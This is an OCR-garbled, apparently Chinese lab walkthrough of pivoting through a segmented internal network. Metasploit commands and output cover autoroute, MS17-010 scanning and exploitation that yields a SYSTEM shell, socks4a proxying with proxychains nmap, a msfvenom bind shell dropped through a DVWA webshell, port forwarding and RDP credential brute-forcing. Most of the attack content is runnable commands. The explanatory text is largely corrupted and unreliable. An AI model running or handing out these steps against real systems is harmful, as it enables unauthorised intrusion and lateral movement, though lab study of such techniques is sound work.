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meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Local subnet: 10.0.0.0/255.255.255.0

Local subnet: 10.0.1.0/255.255.255.0

meterpreter > run get local subnets

t3 are deprecated. Tr multi/manage/autoroute.
OETION=value [...]

BT AN AR |, ATLASRERRMERIEYS © 10.0.1.0/24,
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meterpreter > run autoroute -s 10.0.1.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

[*] Adding a route to 10.0.1.0/255.255.255.0...

[+] Added route to 10.0.1.0/255.255.255.0 via 10.0.0.3

[*] Use the -p option to Tist all active routes

3. FEAREN , At AR PRI TIHMERAFHRMS17-010/FE.

use auxiliary/scanner/smb/smb_ms17_010
show options

set rhosts 10.0.1.0/24

set threads 50

run

BT AD10.0.1.27FEMS-17010iFE.

4. BIEMS-17010iFiAEREXServer SR SR

use exploit/windows/smb/ms17_010_psexec
set rhost 10.0.1.2

set payload windows/meterpreter/bind_tcp
run



m3fs auxiliary( ) > use exploit/windows/smb/msl7_010_psexec
msf5 exploit( y » set rhost 10.0.1.2

rhost =>»> 10.0.1.2

msfS exploit( ) > set payload windows/meterpreter/bind tcp
payload => windows/meterpreter/bind tcp

m3f5 exploit( ) » run

10.
10.
10.
10.
10.
10.
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10.
10.

1445 Target 05: Windows Server 2003 3790 Service Pack 2
1445 Filling barrel with fish... done

1445 | Entering Danger Zone

1445 [*] Preparing dynamite...

1445 Trying stick 1 (x64)...Miss

1445 [*] Trying stick 2 (x86)...Boom!

1445 [+] Successfully Leaked Transaction!

1445 [+] Successfully caught Fish-in-a-barrel

1445 | Leaving Danger Zone |

1445 Beading from CONNECTION struct at: 0x8fde3d4s

1445 Built a write-what-where primitive...

1445 Overwrite complete... SYSTEM session obtained!
1445 Selecting native target

1445 Uploading payload... WodIlRiY.exe

:445 - Created \WcJIlRAiY.exe...

10. :445 - Service started successfully...

10.0.1.2:445 - Deleting ‘\WcJIlRiY.exe...

Started bind TCP handler against 10.0.1.2:4444

Sending stage (180291 bytes) to 10.0.1.2

Meterpreter session 2 opened (10.0.0.2-10.0.0.3:0 -> 10.0.1.2:4444) at 2020-05-29 11:56:21 -0400
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meterpreter > shell

Process 1344 created.

Channel 1 created.

Microsoft Windows [RE=E 5.2.3790]

(C) REHLFETHA 1985-2003 Microsoft Corp.

C:A\WINDOWS\ system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter ZHziER::
Connection-specific DNS Suffix
IP BRddress. . . .« « « « « =« -« . . 3 10.0.1.2
Subnet Mask . . . . . . . . . . . ® 255.255.255.0
Default Gateway

Ethernet adapter Z#hiEE 2:
Connection-specific DNS Suffix
IF Address. . . 10.0.2.1
Subnet Mask . . 255.255.255.0
Default Gateway 10.0.2.1

C:\WINDOWS\ system32>
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meterpreter > run autoroute -s 10.0.2.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

[*] Adding a route to 10.0.2.0/255.255.255.0...

[+] Added route to 10.0.2.0/255.255.255.0 via 10.0.1.2

[*] Use the -p option to Tist all active routes

EEEMS17-01033 TR |, &T10.0.2.2FHEE , FIBmMsHEiEsocks(tIE

use auxiliary/server/socks4a
set srvport 9999
run

FEEKaligh |, (BB E {4/ etc/proxychains.conf
socks4 10.0.0.2 9999
{#Aproxychains X585 = E8BHNH Tim 135

proxychains nmap -Pn -sT 10.0.2.2 -p1-1000

for 10.0.2.2

latency) .

{EFirefoxdigEsocks{tIE,



# FoxyProxy Standard - £B2S

3¢ =G H REBSSESR ) URLESE)
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® FHESEREEM)

HEN TEEEEREHTIP, SSL FTP, Gopher, and SOCKS?

=H1aL 1P #B5HH) [10.00.2 | ®O@ [] SSL proxy?(@)
SOCKS{EE? @ SOCKS vd/da () SOCKS v5
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[®] Login = Damn Vulnerabl.. X | 4

€ @ 100.22/loginphp ¢ » Qs wa + &S » |-
DVWA
Username
Password
Login
You have logged out
FIEAmsfvenomiERADEI] :

msfvenom -p windows/meterpreter/bind_tcp LPORT=8888 -f exe > shell.exe

use exploit/multi/handler

set PAYLOAD windows/meterpreter/bind_tcp
set RHOST 10.0.2.2

set LPORT 8888

set ExitonSession false

exploit -j -z

Ewebshelldr , _HEFHRIIH Tshell.exe , FETHiREServerdff R,

m x



Windows IP Configuration

Ethernet adapter ZEHEEEES:

Connection- cific DN
I

efault Gateway .

Ethernet adapter ZEHEEE

I
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meterpreter > run autoroute -s 10.0.3.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

[*] Adding a route to 10.0.3.0/255.255.255.0...

[+] Added route to 10.0.3.0/255.255.255.0 via 10.0.2.2
[*] use the -p option to list all active routes

F=Esocker

use auxiliary/server/socks4a
set srvport 6666
run

NS ONER RN , &FR10.0.3.2 FFHR T 338%imH.

proxychains nmap -Pn -sT 10.0.3.0/24 -p22,80,3389

G EINEBIREAN3389EH A2 TRIRS R -

> portfwd add -1 12
CPF relay created: :1




FEAHRIROPRK S EERDHES TIRH -

e Fast RDP Brute GUI v2.0 by Stas'M | rdpthread by ROleg

Max. threads: Scan ports: | + | - | Enter IP ranges to scan:

Start scan

+][-][x

1000 & 12345 10.0.0.2

Scan timeout:

Thread timeout:

ViU 50000 [=

IP-address Port Status User
10.0.0.2 12345  Good pair found! administrator

IBIEINIG | (RIS ERAIHERIRS .

Passwaord

Statiztics

B 0 Hosts left
B 1 Good
Il 0 Bad
I 0 Error

PPS: 0

& 10.0.0.2:112345 - iTESEESE

3 Microsoft Corp.
C:“Documents and Settings“Administrator>ipconfig

Windows IP Configuration

Ethernet adapter ﬂijw$+

Connection—specific DME Suffix

IP Address. - . . . . . . . . . . ¢ 18.8.3.2
Subnet Mask : 255.255.255.8
Default Gateway

C:“Documents and Settings™dministrator>

MXERBELSEMERONTALRS L, WBZAAREIRAILAR

STHRRIE— T, BERREGEHEES.







